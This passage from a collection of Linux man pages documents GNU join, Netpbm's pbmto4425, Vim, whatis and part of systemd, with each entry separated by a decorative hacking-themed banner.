When FILE1 or FILE2 (not both) is -, read standard input.

-a FILENUM
also print unpairable lines from file FILENUM, where FILENUM is 1 or 2, corresponding to FILE1 or FILE2

-e STRING
replace missing (empty) input fields with STRING; I.e., missing fields specified with ‘-12jo’ options

-i, –ignore-case
ignore differences in case when comparing fields

-j FIELD
equivalent to ‘-1 FIELD -2 FIELD’

-o FORMAT
obey FORMAT while constructing output line

-t CHAR
use CHAR as input and output field separator

-v FILENUM
like -a FILENUM, but suppress joined output lines

-1 FIELD
join on this FIELD of file 1

-2 FIELD
join on this FIELD of file 2

–check-order
check that the input is correctly sorted, even if all input lines are pairable

–nocheck-order
do not check that the input is correctly sorted

–header
treat the first line in each file as field headers, print them without trying to pair them

-z, –zero-terminated
line delimiter is NUL, not newline

–help
display this help and exit

–version
output version information and exit

Unless -t CHAR is given, leading blanks separate fields and are ignored, else fields are separated by CHAR. Any FIELD is a field number counted from 1. FORMAT is one or more comma or blank separated specifications, each being ‘FILENUM.FIELD’ or ‘0’. Default FORMAT outputs the join field, the remaining fields from FILE1, the remaining fields from FILE2, all separated by CHAR. If FORMAT is the keyword ‘auto’, then the first line of each file determines the number of fields output for each line.

Important: FILE1 and FILE2 must be sorted on the join fields. E.g., use “sort -k 1b,1” if ‘join’ has no options, or use “join -t ‘’” if ‘sort’ has no options. Note, comparisons honor the rules specified by ‘LC_COLLATE’. If the input is not sorted and some lines cannot be joined, a warning message will be given.

AUTHOR

Written by Mike Haertel.

REPORTING BUGS

GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Report any translation bugs to <https://translationproject.org/team/>

COPYRIGHT

Copyright © 2023 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

comm(1), uniq(1)

Full documentation <https://www.gnu.org/software/coreutils/join>
or available locally via: info ‘(coreutils) join invocation’

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2172 - Linux cli command pbmto4425

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pbmto4425 and provides detailed information about the command pbmto4425, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pbmto4425.

.

NAME 🖥️ pbmto4425 🖥️

Display PBM images on an AT&T 4425 terminal

SYNOPSIS

pbmto4425 [pbmfile]

DESCRIPTION

This program is part of Netpbm(1) .

pbmto4425 displays PBM format images on an AT&T 4425 ASCII terminal using that terminal’s mosaic graphics character set. The program should also work with other VT100-like terminals with mosaic graphics character sets such as the C. Itoh CIT-101, but it has not yet been tested on terminals other than the 4425.

Pbmto4425 puts the terminal into 132 column mode to achieve the maximum resolution of the terminal. In this mode the terminal has a resolution of 264 columns by 69 rows. The pixels have an aspect ratio of 1:2.6, therefore an image should be processed before being displayed in a manner such as this:

% pamscale -xscale 2.6 pamfile \
    | pamscale -xysize 264 69 \
    | ppmtopgm \
    | pamditherbw \
    | pbmto4425

OPTIONS

There are no command line options defined specifically for pbmto4425, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

SEE ALSO

pbmtoascii(1) , ppmtoterm(1) , pbm(1)

AUTHOR

Copyright (C) 1993 by Robert Perlberg

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pbmto4425.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2173 - Linux cli command view

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command view and provides detailed information about the command view, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the view.

NAME 🖥️ view 🖥️

Vi IMproved, a programmer’s text editor

SYNOPSIS

vim [options] [file ..]
vim [options] -
vim [options] -t tag
vim [options] -q [errorfile]

ex
view
gvim gview evim eview
rvim rview rgvim rgview

DESCRIPTION

Vim is a text editor that is upwards compatible to Vi. It can be used to edit all kinds of plain text. It is especially useful for editing programs.

There are a lot of enhancements above Vi: multi level undo, multi windows and buffers, syntax highlighting, command line editing, filename completion, on-line help, visual selection, etc.. See “:help vi_diff.txt” for a summary of the differences between Vim and Vi.

While running Vim a lot of help can be obtained from the on-line help system, with the “:help” command. See the ON-LINE HELP section below.

Most often Vim is started to edit a single file with the command

vim file

More generally Vim is started with:

vim [options] [filelist]

If the filelist is missing, the editor will start with an empty buffer. Otherwise exactly one out of the following four may be used to choose one or more files to be edited.

file ..
A list of filenames. The first one will be the current file and read into the buffer. The cursor will be positioned on the first line of the buffer. You can get to the other files with the “:next” command. To edit a file that starts with a dash, precede the filelist with “–”.

-
The file to edit is read from stdin. Commands are read from stderr, which should be a tty.

-t {tag}
The file to edit and the initial cursor position depends on a “tag”, a sort of goto label. {tag} is looked up in the tags file, the associated file becomes the current file and the associated command is executed. Mostly this is used for C programs, in which case {tag} could be a function name. The effect is that the file containing that function becomes the current file and the cursor is positioned on the start of the function. See “:help tag-commands”.

-q [errorfile]
Start in quickFix mode. The file [errorfile] is read and the first error is displayed. If [errorfile] is omitted, the filename is obtained from the ’errorfile’ option (defaults to “AztecC.Err” for the Amiga, “errors.err” on other systems). Further errors can be jumped to with the “:cn” command. See “:help quickfix”.

Vim behaves differently, depending on the name of the command (the executable may still be the same file).

vim
The “normal” way, everything is default.

ex
Start in Ex mode. Go to Normal mode with the “:vi” command. Can also be done with the “-e” argument.

view
Start in read-only mode. You will be protected from writing the files. Can also be done with the “-R” argument.

gvim gview
The GUI version. Starts a new window. Can also be done with the “-g” argument.

evim eview
The GUI version in easy mode. Starts a new window. Can also be done with the “-y” argument.

rvim rview rgvim rgview
Like the above, but with restrictions. It will not be possible to start shell commands, or suspend Vim. Can also be done with the “-Z” argument.

OPTIONS

The options may be given in any order, before or after filenames. Options without an argument can be combined after a single dash.

+[num]
For the first file the cursor will be positioned on line “num”. If “num” is missing, the cursor will be positioned on the last line.

+/{pat}
For the first file the cursor will be positioned in the line with the first occurrence of {pat}. See “:help search-pattern” for the available search patterns.

+{command}
-c {command}
{command} will be executed after the first file has been read. {command} is interpreted as an Ex command. If the {command} contains spaces it must be enclosed in double quotes (this depends on the shell that is used). Example: vim “+set si” main.c
Note: You can use up to 10 “+” or “-c” commands.

-S {file}
{file} will be sourced after the first file has been read. This is equivalent to -c “source {file}”. {file} cannot start with ‘-’. If {file} is omitted “Session.vim” is used (only works when -S is the last argument).

–cmd {command}
Like using “-c”, but the command is executed just before processing any vimrc file. You can use up to 10 of these commands, independently from “-c” commands.

-A
If Vim has been compiled with ARABIC support for editing right-to-left oriented files and Arabic keyboard mapping, this option starts Vim in Arabic mode, i.e. ‘arabic’ is set. Otherwise an error message is given and Vim aborts.

-b
Binary mode. A few options will be set that makes it possible to edit a binary or executable file.

-C
Compatible. Set the ‘compatible’ option. This will make Vim behave mostly like Vi, even though a .vimrc file exists.

-d
Start in diff mode. There should between two to eight file name arguments. Vim will open all the files and show differences between them. Works like vimdiff(1).

-d {device}, -dev {device}
Open {device} for use as a terminal. Only on the Amiga. Example: “-d con:20/30/600/150”.

-D
Debugging. Go to debugging mode when executing the first command from a script.

-e
Start Vim in Ex mode, just like the executable was called “ex”.

-E
Start Vim in improved Ex mode, just like the executable was called “exim”.

-f
Foreground. For the GUI version, Vim will not fork and detach from the shell it was started in. On the Amiga, Vim is not restarted to open a new window. This option should be used when Vim is executed by a program that will wait for the edit session to finish (e.g. mail). On the Amiga the “:sh” and “:!” commands will not work.

–nofork
Foreground. For the GUI version, Vim will not fork and detach from the shell it was started in.

-F
If Vim has been compiled with FKMAP support for editing right-to-left oriented files and Farsi keyboard mapping, this option starts Vim in Farsi mode, i.e. ‘fkmap’ and ‘rightleft’ are set. Otherwise an error message is given and Vim aborts.

-g
If Vim has been compiled with GUI support, this option enables the GUI. If no GUI support was compiled in, an error message is given and Vim aborts.

–gui-dialog-file {name}
When using the GUI, instead of showing a dialog, write the title and message of the dialog to file {name}. The file is created or appended to. Only useful for testing, to avoid that the test gets stuck on a dialog that can’t be seen. Without the GUI the argument is ignored.

–help, -h, -?
Give a bit of help about the command line arguments and options. After this Vim exits.

-H
If Vim has been compiled with RIGHTLEFT support for editing right-to-left oriented files and Hebrew keyboard mapping, this option starts Vim in Hebrew mode, i.e. ‘hkmap’ and ‘rightleft’ are set. Otherwise an error message is given and Vim aborts.

-i {viminfo}
Specifies the filename to use when reading or writing the viminfo file, instead of the default “~/.viminfo”. This can also be used to skip the use of the .viminfo file, by giving the name “NONE”.

-L
Same as -r.

-l
Lisp mode. Sets the ’lisp’ and ‘showmatch’ options on.

-m
Modifying files is disabled. Resets the ‘write’ option. You can still modify the buffer, but writing a file is not possible.

-M
Modifications not allowed. The ‘modifiable’ and ‘write’ options will be unset, so that changes are not allowed and files can not be written. Note that these options can be set to enable making modifications.

-N
No-compatible mode. Resets the ‘compatible’ option. This will make Vim behave a bit better, but less Vi compatible, even though a .vimrc file does not exist.

-n
No swap file will be used. Recovery after a crash will be impossible. Handy if you want to edit a file on a very slow medium (e.g. floppy). Can also be done with “:set uc=0”. Can be undone with “:set uc=200”.

-nb
Become an editor server for NetBeans. See the docs for details.

-o[N]
Open N windows stacked. When N is omitted, open one window for each file.

-O[N]
Open N windows side by side. When N is omitted, open one window for each file.

-p[N]
Open N tab pages. When N is omitted, open one tab page for each file.

-P {parent-title}
Win32 GUI only: Specify the title of the parent application. When possible, Vim will run in an MDI window inside the application. {parent-title} must appear in the window title of the parent application. Make sure that it is specific enough. Note that the implementation is still primitive. It won’t work with all applications and the menu doesn’t work.

-R
Read-only mode. The ‘readonly’ option will be set. You can still edit the buffer, but will be prevented from accidentally overwriting a file. If you do want to overwrite a file, add an exclamation mark to the Ex command, as in “:w!”. The -R option also implies the -n option (see above). The ‘readonly’ option can be reset with “:set noro”. See “:help ‘readonly’”.

-r
List swap files, with information about using them for recovery.

-r {file}
Recovery mode. The swap file is used to recover a crashed editing session. The swap file is a file with the same filename as the text file with “.swp” appended. See “:help recovery”.

-s
Silent mode. Only when started as “Ex” or when the “-e” option was given before the “-s” option.

-s {scriptin}
The script file {scriptin} is read. The characters in the file are interpreted as if you had typed them. The same can be done with the command “:source! {scriptin}”. If the end of the file is reached before the editor exits, further characters are read from the keyboard.

-T {terminal}
Tells Vim the name of the terminal you are using. Only required when the automatic way doesn’t work. Should be a terminal known to Vim (builtin) or defined in the termcap or terminfo file.

–not-a-term
Tells Vim that the user knows that the input and/or output is not connected to a terminal. This will avoid the warning and the two second delay that would happen.

–ttyfail
When stdin or stdout is not a a terminal (tty) then exit right away.

-u {vimrc}
Use the commands in the file {vimrc} for initializations. All the other initializations are skipped. Use this to edit a special kind of files. It can also be used to skip all initializations by giving the name “NONE”. See “:help initialization” within vim for more details.

-U {gvimrc}
Use the commands in the file {gvimrc} for GUI initializations. All the other GUI initializations are skipped. It can also be used to skip all GUI initializations by giving the name “NONE”. See “:help gui-init” within vim for more details.

-V[N]
Verbose. Give messages about which files are sourced and for reading and writing a viminfo file. The optional number N is the value for ‘verbose’. Default is 10.

-V[N]{filename}
Like -V and set ‘verbosefile’ to {filename}. The result is that messages are not displayed but written to the file {filename}. {filename} must not start with a digit.

–log {filename}
If Vim has been compiled with eval and channel feature, start logging and write entries to {filename}. This works like calling ch_logfile({filename}, ‘ao’) very early during startup.

-v
Start Vim in Vi mode, just like the executable was called “vi”. This only has effect when the executable is called “ex”.

-w{number}
Set the ‘window’ option to {number}.

-w {scriptout}
All the characters that you type are recorded in the file {scriptout}, until you exit Vim. This is useful if you want to create a script file to be used with “vim -s” or “:source!”. If the {scriptout} file exists, characters are appended.

-W {scriptout}
Like -w, but an existing file is overwritten.

-x
Use encryption when writing files. Will prompt for a crypt key.

-X
Don’t connect to the X server. Shortens startup time in a terminal, but the window title and clipboard will not be used.

-y
Start Vim in easy mode, just like the executable was called “evim” or “eview”. Makes Vim behave like a click-and-type editor.

-Z
Restricted mode. Works like the executable starts with “r”.


Denotes the end of the options. Arguments after this will be handled as a file name. This can be used to edit a filename that starts with a ‘-’.

–clean
Do not use any personal configuration (vimrc, plugins, etc.). Useful to see if a problem reproduces with a clean Vim setup.

–echo-wid
GTK GUI only: Echo the Window ID on stdout.

–literal
Take file name arguments literally, do not expand wildcards. This has no effect on Unix where the shell expands wildcards.

–noplugin
Skip loading plugins. Implied by -u NONE.

–remote
Connect to a Vim server and make it edit the files given in the rest of the arguments. If no server is found a warning is given and the files are edited in the current Vim.

–remote-expr {expr}
Connect to a Vim server, evaluate {expr} in it and print the result on stdout.

–remote-send {keys}
Connect to a Vim server and send {keys} to it.

–remote-silent
As –remote, but without the warning when no server is found.

–remote-wait
As –remote, but Vim does not exit until the files have been edited.

–remote-wait-silent
As –remote-wait, but without the warning when no server is found.

–serverlist
List the names of all Vim servers that can be found.

–servername {name}
Use {name} as the server name. Used for the current Vim, unless used with a –remote argument, then it’s the name of the server to connect to.

–socketid {id}
GTK GUI only: Use the GtkPlug mechanism to run gvim in another window.

–startuptime {file}
During startup write timing messages to the file {fname}.

–version
Print version information and exit.

–windowid {id}
Win32 GUI only: Make gvim try to use the window {id} as a parent, so that it runs inside that window.

ON-LINE HELP

Type “:help” in Vim to get started. Type “:help subject” to get help on a specific subject. For example: “:help ZZ” to get help for the “ZZ” command. Use <Tab> and CTRL-D to complete subjects (":help cmdline-completion"). Tags are present to jump from one place to another (sort of hypertext links, see “:help”). All documentation files can be viewed in this way, for example “:help syntax.txt”.

FILES

/usr/local/share/vim/vim??/doc/*.txt
The Vim documentation files. Use “:help doc-file-list” to get the complete list.
vim?? is short version number, like vim91 for Vim 9.1

/usr/local/share/vim/vim??/doc/tags
The tags file used for finding information in the documentation files.

/usr/local/share/vim/vim??/syntax/syntax.vim
System wide syntax initializations.

/usr/local/share/vim/vim??/syntax/*.vim
Syntax files for various languages.

/usr/local/share/vim/vimrc
System wide Vim initializations.

~/.vimrc, ~/.vim/vimrc, $XDG_CONFIG_HOME/vim/vimrc
Your personal Vim initializations (first one found is used).

/usr/local/share/vim/gvimrc
System wide gvim initializations.

~/.gvimrc, ~/.vim/gvimrc, $XDG_CONFIG_HOME/vim/gvimrc
Your personal gvim initializations (first one found is used).

/usr/local/share/vim/vim??/optwin.vim
Script used for the “:options” command, a nice way to view and set options.

/usr/local/share/vim/vim??/menu.vim
System wide menu initializations for gvim.

/usr/local/share/vim/vim??/bugreport.vim
Script to generate a bug report. See “:help bugs”.

/usr/local/share/vim/vim??/filetype.vim
Script to detect the type of a file by its name. See “:help ‘filetype’”.

/usr/local/share/vim/vim??/scripts.vim
Script to detect the type of a file by its contents. See “:help ‘filetype’”.

/usr/local/share/vim/vim??/print/*.ps
Files used for PostScript printing.

For recent info read the VIM home page:
<URL:http://www.vim.org/>

SEE ALSO

vimtutor(1)

AUTHOR

Most of Vim was made by Bram Moolenaar, with a lot of help from others. See “:help credits” in Vim.
Vim is based on Stevie, worked on by: Tim Thompson, Tony Andrews and G.R. (Fred) Walter. Although hardly any of the original code remains.

BUGS

Probably. See “:help todo” for a list of known problems.

Note that a number of things that may be regarded as bugs by some, are in fact caused by a too-faithful reproduction of Vi’s behaviour. And if you think other things are bugs “because Vi does it differently”, you should take a closer look at the vi_diff.txt file (or type :help vi_diff.txt when in Vim). Also have a look at the ‘compatible’ and ‘cpoptions’ options.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2174 - Linux cli command whatis

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command whatis and provides detailed information about the command whatis, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the whatis.

NAME 🖥️ whatis 🖥️

display one-line manual page descriptions

SYNOPSIS

whatis [ -dlv?V ] [ -r | -w  ] [ -s list ] [ -m system [ ,. . . ] ] [ -M path ] [ -L locale ] [ -C file ] name . . .

DESCRIPTION

Each manual page has a short description available within it. whatis searches the manual page names and displays the manual page descriptions of any name matched.

name may contain wildcards (-w) or be a regular expression (-r). Using these options, it may be necessary to quote the name or escape (\ the special characters to stop the shell from interpreting them.

index databases are used during the search, and are updated by the mandb program. Depending on your installation, this may be run by a periodic cron job, or may need to be run manually after new manual pages have been installed. To produce an old style text whatis database from the relative index database, issue the command:

whatis -M manpath -w ‘*’ | sort > manpath/whatis

where manpath is a manual page hierarchy such as /usr/man.

OPTIONS

-d, –debug
Print debugging information.

-v, –verbose
Print verbose warning messages.

-r, –regex
Interpret each name as a regular expression. If a name matches any part of a page name, a match will be made. This option causes whatis to be somewhat slower due to the nature of database searches.

-w, –wildcard
Interpret each name as a pattern containing shell style wildcards. For a match to be made, an expanded name must match the entire page name. This option causes whatis to be somewhat slower due to the nature of database searches.

-l, –long
Do not trim output to the terminal width. Normally, output will be truncated to the terminal width to avoid ugly results from poorly-written NAME sections.

-s list, **–sections=**list, **–section=**list
Search only the given manual sections. list is a colon- or comma-separated list of sections. If an entry in list is a simple section, for example “3”, then the displayed list of descriptions will include pages in sections “3”, “3perl”, “3x”, and so on; while if an entry in list has an extension, for example “3perl”, then the list will only include pages in that exact part of the manual section.

-m system [ ,. . . ] , **–systems=**system [ ,. . . ]
If this system has access to other operating systems’ manual page names, they can be accessed using this option. To search NewOS’s manual page names, use the option -m NewOS.

The system specified can be a combination of comma delimited operating system names. To include a search of the native operating system’s manual page names, include the system name man in the argument string. This option will override the $SYSTEM environment variable.

**-M path, **–manpath=****path
Specify an alternate set of colon-delimited manual page hierarchies to search. By default, whatis uses the $MANPATH environment variable, unless it is empty or unset, in which case it will determine an appropriate manpath based on your $PATH environment variable. This option overrides the contents of $MANPATH.

**-L locale, **–locale=****locale
whatis will normally determine your current locale by a call to the C function setlocale(3) which interrogates various environment variables, possibly including $LC_MESSAGES and $LANG. To temporarily override the determined value, use this option to supply a locale string directly to whatis. Note that it will not take effect until the search for pages actually begins. Output such as the help message will always be displayed in the initially determined locale.

**-C file, **–config-file=****file
Use this user configuration file rather than the default of ~/.manpath.

-?, –help
Print a help message and exit.

–usage
Print a short usage message and exit.

-V, –version
Display version information.

EXIT STATUS

0
Successful program execution.

1
Usage, syntax or configuration file error.

2
Operational error.

16
Nothing was found that matched the criteria specified.

ENVIRONMENT

SYSTEM
If $SYSTEM is set, it will have the same effect as if it had been specified as the argument to the -m option.

MANPATH
If $MANPATH is set, its value is interpreted as the colon-delimited manual page hierarchy search path to use.

See the SEARCH PATH section of manpath(5) for the default behaviour and details of how this environment variable is handled.

MANWIDTH
If $MANWIDTH is set, its value is used as the terminal width (see the –long option). If it is not set, the terminal width will be calculated using the value of $COLUMNS, and ioctl(2) if available, or falling back to 80 characters if all else fails.

FILES

/usr/share/man/index.(bt|db|dir|pag)
A traditional global index database cache.

/var/cache/man/index.(bt|db|dir|pag)
An FHS compliant global index database cache.

/usr/share/man/ . . . /whatis
A traditional whatis text database.

SEE ALSO

apropos(1), man(1), mandb(8)

AUTHOR

Wilf. ([email protected]).
Fabrizio Polacco ([email protected]).
Colin Watson ([email protected]).

BUGS

https://gitlab.com/man-db/man-db/-/issues
https://savannah.nongnu.org/bugs/?group=man-db

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2175 - Linux cli command systemd

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command systemd and provides detailed information about the command systemd, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the systemd.

NAME 🖥️ systemd 🖥️

systemd system and service manager

SYNOPSIS

/usr/lib/systemd/systemd [OPTIONS…]

init [OPTIONS…] {COMMAND}

DESCRIPTION

systemd is a system and service manager for Linux operating systems. When run as first process on boot (as PID 1), it acts as init system that brings up and maintains userspace services. Separate instances are started for logged-in users to start their services.

systemd is usually not invoked directly by the user, but is installed as the /sbin/init symlink and started during early boot. The user manager instances are started automatically through the [email protected](5) service.

For compatibility with SysV, if the binary is called as init and is not the first process on the machine (PID is not 1), it will execute telinit and pass all command line arguments unmodified. That means init and telinit are mostly equivalent when invoked from normal login sessions. See telinit(8) for more information.

When run as a system instance, systemd interprets the configuration file system.conf and the files in system.conf.d directories; when run as a user instance, systemd interprets the configuration file user.conf and the files in user.conf.d directories. See systemd-system.conf(5) for more information.

systemd contains native implementations of various tasks that need to be executed as part of the boot process. For example, it sets the hostname or configures the loopback network device. It also sets up and mounts various API file systems, such as /sys/, /proc/, and /dev/.

Note that some but not all interfaces provided by systemd are covered by the Interface Portability and Stability Promise[1].

The D-Bus API of systemd is described in org.freedesktop.systemd1(5) and org.freedesktop.LogControl1(5).

Systems which invoke systemd in a container or initrd environment should implement the Container Interface[2] or initrd Interface[3] specifications, respectively.

UNITS

systemd provides a dependency system between various entities called “units” of 11 different types. Units encapsulate various objects that are relevant for system boot-up and maintenance. The majority of units are configured in unit configuration files, whose syntax and basic set of options is described in systemd.unit(5), however some are created automatically from other configuration files, dynamically from system state or programmatically at runtime. Units may be “active” (meaning started, bound, plugged in, …, depending on the unit type, see below), or “inactive” (meaning stopped, unbound, unplugged, …), as well as in the process of being activated or deactivated, i.e. between the two states (these states are called “activating”, “deactivating”). A special “failed” state is available as well, which is very similar to “inactive” and is entered when the service failed in some way (process returned error code on exit, or crashed, an operation timed out, or after too many restarts). If this state is entered, the cause will be logged, for later reference. Note that the various unit types may have a number of additional substates, which are mapped to the five generalized unit states described here.

The following unit types are available:

1.

Service units, which start and control daemons and the processes they consist of. For details, see systemd.service(5).

2.

Socket units, which encapsulate local IPC or network sockets in the system, useful for socket-based activation. For details about socket units, see systemd.socket(5), for details on socket-based activation and other forms of activation, see daemon(7).

3.

Target units are useful to group units, or provide well-known synchronization points during boot-up, see systemd.target(5).

4.

Device units expose kernel devices in systemd and may be used to implement device-based activation. For details, see systemd.device(5).

5.

Mount units control mount points in the file system, for details see systemd.mount(5).

6.

Automount units provide automount capabilities, for on-demand mounting of file systems as well as parallelized boot-up. See systemd.automount(5).

7.

Timer units are useful for triggering activation of other units based on timers. You may find details in systemd.timer(5).

8.

Swap units are very similar to mount units and encapsulate memory swap partitions or files of the operating system. They are described in systemd.swap(5).

9.

Path units may be used to activate other services when file system objects change or are modified. See systemd.path(5).

10.

Slice units may be used to group units which manage system processes (such as service and scope units) in a hierarchical tree for resource management purposes. See systemd.slice(5).

11.

Scope units are similar to service units, but manage foreign processes instead of starting them as well. See systemd.scope(5).

Units are named as their configuration files. Some units have special semantics. A detailed list is available in systemd.special(7).

systemd knows various kinds of dependencies, including positive and negative requirement dependencies (i.e. Requires= and Conflicts=) as well as ordering dependencies (After= and Before=). NB: ordering and requirement dependencies are orthogonal. If only a requirement dependency exists between two units (e.g. foo.service requires bar.service), but no ordering dependency (e.g. foo.service after bar.service) and both are requested to start, they will be started in parallel. It is a common pattern that both requirement and ordering dependencies are placed between two units. Also note that the majority of dependencies are implicitly created and maintained by systemd. In most cases, it should be unnecessary to declare additional dependencies manually, however it is possible to do this.

Application programs and units (via dependencies) may request state changes of units. In systemd, these requests are encapsulated as jobs and maintained in a job queue. Jobs may succeed or can fail, their execution is ordered based on the ordering dependencies of the units they have been scheduled for.

On boot systemd activates the target unit default.target whose job is to activate on-boot services and other on-boot units by pulling them in via dependencies. Usually, the unit name is just an alias (symlink) for either graphical.target (for fully-featured boots into the UI) or multi-user.target (for limited console-only boots for use in embedded or server environments, or similar; a subset of graphical.target). However, it is at the discretion of the administrator to configure it as an alias to any other target unit. See systemd.special(7) for details about these target units.

On first boot, systemd will enable or disable units according to preset policy. See systemd.preset(5) and “First Boot Semantics” in machine-id(5).

systemd only keeps a minimal set of units loaded into memory. Specifically, the only units that are kept loaded into memory are those for which at least one of the following conditions is true:

1.

It is in an active, activating, deactivating or failed state (i.e. in any unit state except for “inactive”)

2.

It has a job queued for it

3.

It is a dependency of at least one other unit that is loaded into memory

4.

It has some form of resource still allocated (e.g. a service unit that is inactive but for which a process is still lingering that ignored the request to be terminated)

5.

It has been pinned into memory programmatically by a D-Bus call

systemd will automatically and implicitly load units from disk — if they are not loaded yet — as soon as operations are requested for them. Thus, in many respects, the fact whether a unit is loaded or not is invisible to clients. Use systemctl list-units –all to comprehensively list all units currently loaded. Any unit for which none of the conditions above applies is promptly unloaded. Note that when a unit is unloaded from memory its accounting data is flushed out too. However, this data is generally not lost, as a journal log record is generated declaring the consumed resources whenever a unit shuts down.

Processes systemd spawns are placed in individual Linux control groups named after the unit which they belong to in the private systemd hierarchy. (see Control Groups v2[4] for more information about control groups, or short “cgroups”). systemd uses this to effectively keep track of processes. Control group information is maintained in the kernel, and is accessible via the file system hierarchy (beneath /sys/fs/cgroup/), or in tools such as systemd-cgls(1) or ps(1) (ps xawf -eo pid,user,cgroup,args is particularly useful to list all processes and the systemd units they belong to.).

systemd is compatible with the SysV init system to a large degree: SysV init scripts are supported and simply read as an alternative (though limited) configuration file format. The SysV /dev/initctl interface is provided, and compatibility implementations of the various SysV client tools are available. In addition to that, various established Unix functionality such as /etc/fstab or the utmp database are supported.

systemd has a minimal transaction system: if a unit is requested to start up or shut down it will add it and all its dependencies to a temporary transaction. Then, it will verify if the transaction is consistent (i.e. whether the ordering of all units is cycle-free). If it is not, systemd will try to fix it up, and removes non-essential jobs from the transaction that might remove the loop. Also, systemd tries to suppress non-essential jobs in the transaction that would stop a running service. Finally it is checked whether the jobs of the transaction contradict jobs that have already been queued, and optionally the transaction is aborted then. If all worked out and the transaction is consistent and minimized in its impact it is merged with all already outstanding jobs and added to the run queue. Effectively this means that before executing a requested operation, systemd will verify that it makes sense, fixing it if possible, and only failing if it really cannot work.

